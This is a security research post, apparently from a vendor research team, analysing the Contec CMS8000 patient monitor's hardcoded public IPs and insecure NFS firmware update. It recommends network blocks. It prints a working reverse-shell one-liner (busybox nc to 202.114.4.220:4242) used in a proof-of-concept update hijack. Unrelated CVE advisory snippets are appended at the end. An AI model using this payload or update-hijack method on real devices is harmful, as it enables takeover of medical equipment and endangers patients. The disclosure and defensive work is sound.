On Jan. 30, The Cybersecurity Infrastructure & Security Agency (CISA) released an alert, complemented by a notification from the U.S. Food and Drug Administration (FDA) suggesting that the Contec CMS8000 patient monitor and OEM white-label variants contain a backdoor communicating to a Chinese IP address.
Team82 investigated the firmware and reached the conclusion that it is most likely not a hidden backdoor, but instead an insecure/vulnerable design that introduces great risk to the patient monitor users and hospital networks.
Our conclusion is mainly based on the fact that the vendor—and resellers who re-label and sell the monitor—list the IP address in their manuals and instruct users to configure the Central Management System (CMS) with this IP address within their internal networks.
In addition, the upgrade flow requires a physical button press during the patient monitor boot process.
The hardcoded IPs found in the device are 202.114.4.119
(CMS server) over TCP ports 515-520, 202.114.4.120
(HL7 server) over TCP port 511.
Team82 researched and presented at Claroty’s 2022 Nexus Conference a working PoC exploiting the insecure design flaw in the Contec CMS8000 and attacking the patient monitor, below.
On Jan. 30, CISA released an alert, complemented by a notification from the FDA suggesting that the Contec CMS8000 patient monitor and its white-label OEM variants contains a backdoor. Because this is a patient monitor manufactured in China, the notification alerts healthcare providers that the device “can create conditions which may allow remote code execution and device modification with the ability to alter its configuration. This introduces risk to patient safety as a malfunctioning monitor could lead to improper responses to vital signs displayed by the device.” The notification states explicitly that this backdoor is “hidden functionality” (CWE-912), pointing to a hardcoded-IP address in China for the outbound communication of patient data and firmware updates.
Through Team82’s analysis, we have come to the conclusion that this alert is not a hidden backdoor as suggested by CISA and the FDA, but instead an insecure design issue, creating potential security risks to patient data. The CONTEC Operator Manual specifically mentions this “hard-coded” IP address as the Central Management System (CMS) IP address that organizations should use, so it is not hidden functionally as stated by CISA.
Absent additional threat intelligence, this nuance is important because it demonstrates a lack of malicious intent, and therefore changes the prioritization of remediation activities. Said differently, this is not likely to be a campaign to harvest patient data and more likely to be an inadvertent exposure that could be leveraged to collect information or perform insecure firmware updates. Regardless, because an exposure exists that is likely leaking PHI randomly or could be used in some scenarios for malicious updates, the exposure should be remediated as a priority (see recommendations below).
We bought the CONTEC CMS8000 device and extracted the flash chip from the firmware.
The first thing we did when we got the device was to connect it and verify its fully working, including peripherals like the SpO2 oxygen sensor. We also installed the CMS software and streamed patient data to our server. The default configuration, as listed by the vendor’s installation guide and PDF manuals, was to use the 202.114.4.119 IP address for the CMS server. This IP address was also pre-configured in our device (this was explained in the manual).
Then, we wanted to extract the firmware. So we opened the device carefully and unplugged the battery so we wouldn't get electrocuted.
Next, we identified key hardware components:
Board is SmartARM3250 board with the LPC3250 Microcontroller
CPU is ARM926EJ-S rev 4 (v5l)
Flash chip which turned out to be S34ML01G200TFI000 NAND Flash SLC,1Gb,3x,3V,x8,4bit,TS48 by SkyHigh Memory.
Now that we had our chip extracted, time to read its contents.
The firmware blob was structured as a YAFFS flash file system, so we parsed it to extract the Linux based root filesystem.
Now we had all the binaries. We identified the main ARM based binary as “monitor” which contained all the device’s logic. This monolith binary handles most of the patient monitor’s logic, including reading measurements from the various sensors, sending patient information to the monitor systems, as well as upgrading the firmware of the device.
We tracked the firmware upgrade code flow and discovered that it uses the hardcoded 202.114.4.119 IP address to mount an NFS share via the network, and perform an upgrade routine, updating the device binaries from this IP address. Generally, using NFS to update binaries is insecure, because it enables main-in-the-middle (MiTM) attacks and potentially code execution.
Team82 was only able to trigger the update logic when booting the device AND clicking a button on the device (press "C" - main button). To the best of our knowledge, this is the only way to trigger the update logic. If true, this would require an attacker to be physically located near the device.
Although the full update process is VERY dangerous and risky, to us it does not appear to have malicious intent behind it, especially when considering the manual boldly refers to this IP address, and white-label vendors ask users to configure their internal CMS with this IP address.
When examining the full update process, we discovered this routine:
The update routine mounts the NFS share 202.114.4.119:/pm
using the OS command mount -o nolock -t nfs
202.114.4.119:/pm /mnt
The patient monitor verifies that the /mnt/monitor
file exists.
If the file exists, the patient monitor will copy all the binaries stored on the NFS share to the device’s filesystem, using the OS command cp -rf /mnt/* /opt/bin
This will overwrite the old system binaries with the new ones kept on the NFS share (202.114.4.119:/pm
)
When examining this IP address, we immediately noticed it is not a reserved IP address for local networks (LAN), but instead it is a routable public IP address accessible through the internet. The proper way to have a hard-coded local IP address would be, according to RFC1918, with private IP ranges 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16.
When examining this device manual and other white-label solution manuals, we see this IP address/subnet being used as the CMS IP address. (examples: 1, 2, 3, 4)
Furthermore, when examining the firmware of the device, we discovered that it indeed uses this subnet as its default network configuration.
In addition, in the CMS server manual we also see that the vendor is asking the users to set up the Windows machine with this static IP address 202.114.4.119.
Therefore, we believe the most likely scenario is that this is not a hidden “backdoor” installed by the manufacturer, but instead an highly insecure/vulnerable design. This design still introduces a major risk, because if users are not configured in their default network configuration, whenever an upgrade routine is called, they will fetch the binaries updates over the internet from a server in the internet, putting users at great risk.
Upon investigating the public internet IP address 202.114.4.119, we found that it is not currently hosting an NFS server. Additionally, no servers within this IP address class C subnet are exposing services relevant to this routine. However, this IP could still be utilized in the future to distribute malicious binaries attempting to upgrade their version.
In addition to 202.114.4.119
, another hardcoded IP address is used: 202.114.4.120
inside the firmware of the patient monitor. This IP address, also part of the routable subnet 202.114.4.0/24
, is used by the patient monitor as a central HL7 server over TCP/511. The HL7 server allows the patient monitor to communicate and share the patient data it collects (heart rate, blood pressure, oxygen saturation, etc.) with other systems across the hospital. Once again we see that the vendor used a routable public IP address for this critical function handling sensitive patient information, which could lead to potential patient information leakage.
In addition to HL7, Contec implemented a protocol to communicate with the CMS over TCP ports 515-520. Below is an example of the patient monitor and CMS TCP communication over TCP port 515. We can see that patient information is transferred to the CMS server.
Here is a list of the communications we saw the patient monitor performing:
Direction | Port | Protocol | Purpose |
Patient Monitor toward Central Management System | TCP/515-520 | CMS Protocol | Send visual data to CMS |
Patient Monitor toward HL7 Server | TCP/511 | HL7 Protocol | Share patient data with other hospital systems |
In order to block the patient monitor from reaching the public IP addresses it has hardcoded in its firmware, leaking PII, and potentially receiving malicious binaries, we recommend blocking the entire 202.114.4.0/24
subnet in outgoing network traffic on your firewall.
As mentioned above, whether this insecure design was implemented as a hidden backdoor or not, it is still a serious security concern. To demonstrate this, we will share a proof-of-concept (PoC) attack we implemented and presented on stage at the 2022 Nexus Conference.
Our PoC uses this insecure design, and by impersonating the hardcoded IP address mentioned in the vendor’s manuals we were able to download malicious binaries to the patient monitor’s filesystem. We then overwrote one of the executables the patient monitor uses, calling code we control on every execution. This gave us the ability to execute arbitrary code on the patient monitor, and we simply chose to implement a simple reverse shell payload, giving us remote shell access to the device every few seconds, installing a backdoor.
#!/bin/sh(ping -c 4 202.114.4.220; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1| /opt/bin/busybox nc 202.114.4.220 4242 >/tmp/f) &
Our reverse shell payload using a busybox installation we added to the patient monitor during the update procedure.
Then, we simply set up a listener on our computer, and waited for the reverse shell to reach back and give us full control over the patient monitor.
Afterward, we wrote our own full demo of a would-be exploit of the device. Our demo included a couple of attack scenarios, from faking patient vitals, all the way to performing a ransomware attack on the monitor, rendering it inoperable.
It is heavily recommended that organizations with this patient monitor block all access to the subnet 202.114.4.0/24
from their internal network, blocking devices from attempting to upgrade their firmware from a WAN server or send PII in the future.
We have seen some OEM examples of the CONTEC CMS8000 where the default network configuration for the CMS can be modified. If this is possible, do not leverage the default 202.114.4.119 IP address for your CMS.
If you do need to leverage a CMS for monitoring and providing updates to the CONTEC CMS8000 patient monitors or its white label variants, and must use the 202.114.4.119 hard-coded IP address, we recommend applying static routes and/or network segmentation to ensure that this traffic is routed only to your CMS and not externally.
If not using the HL7 capabilities of the patient monitor, it is recommended blocking all network traffic outbound to 202.114.4.120
to prevent potential PII/PHI leakage.
These patient monitors are still running vulnerable code that will always be attempting to connect to an externally routable IP address, so it is recommended to replace them with a more secure device unless the vendor modifies firmware to prevent this action in the future.
CWE-476 NULL POINTER DEREFERENCE:
The affected product is vulnerable to a NULL Dereference vulnerability, which could allow a remote attacker to create a denial-of-service condition. Successful exploitation of this vulnerability could could result in a remote attacker causing a denial-of-service condition on the affected devices.
Belledonne Communications recommends users implement the fix in Version 5.3.99 of the linphone-sdk.
CVSS v3: 7.5
CWE-120 BUFFER COPY WITHOUT CHECKING SIZE OF INPUT ('CLASSIC BUFFER OVERFLOW'):
A denial-of-service vulnerability exists in the affected product. The vulnerability results in a buffer overflow, potentially causing denial-of-service condition.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-122 HEAP-BASED BUFFER OVERFLOW:
A denial-of-service and possible remote code execution vulnerability exists in the affected product. The vulnerability results in the corruption of the heap memory, which may compromise the integrity of the system, potentially allowing for remote code execution or a denial-of-service attack.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-420 UNPROTECTED ALTERNATE CHANNEL:
A device takeover vulnerability exists in the affected product. This vulnerability allows configuration of a new Policyholder user without any authentication via API. Policyholder user is the most privileged user that can perform edit operations, creating admin users and performing factory reset.
Rockwell Automation has corrected these problems in firmware revision 4.020 and recommends users upgrade to the latest version available.
CVSS v3: 9.8
CWE-191 INTEGER UNDERFLOW (WRAP OR WRAPAROUND):
The affected product is vulnerable to an integer underflow. An unauthenticated attacker could send a malformed HTTP Requesty, which could allow the attacker to crash the program.
Planet Technology recommends users upgrade to version 1.305b241111 or later.
CVSS v3: 5.3